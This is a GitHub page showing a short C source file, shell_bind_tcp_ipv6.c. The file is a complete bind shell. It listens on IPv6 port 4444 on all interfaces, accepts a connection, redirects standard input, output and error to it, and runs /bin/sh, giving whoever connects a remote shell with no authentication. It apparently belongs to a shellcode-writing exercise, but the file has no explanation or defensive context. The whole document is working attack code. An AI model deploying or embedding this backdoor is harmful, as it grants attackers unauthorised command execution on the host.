-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshell_bind_tcp_ipv6.c
45 lines (33 loc) · 1.05 KB
/
shell_bind_tcp_ipv6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int i;
// sockfd for host
int host_sockfd;
// sockfd for client
int client_sockfd;
// sockaddr_in6 struct
struct sockaddr_in6 host_addr;
int main()
{
//Create a socket
host_sockfd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
//Initialize sockaddr struct for bind socket
host_addr.sin6_family = AF_INET6;
host_addr.sin6_port = htons(4444);
host_addr.sin6_addr = in6addr_any;
//Bind socket
bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
//I am listening for connections
listen(host_sockfd, 2);
//Just accept incoming connection
client_sockfd = accept(host_sockfd, NULL, NULL);
//Duplicate file descriptors for STDIN, STDOUT and STDERR
for(i = 0; i <= 2; i++)
dup2(client_sockfd, i);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockfd);
return 0;
}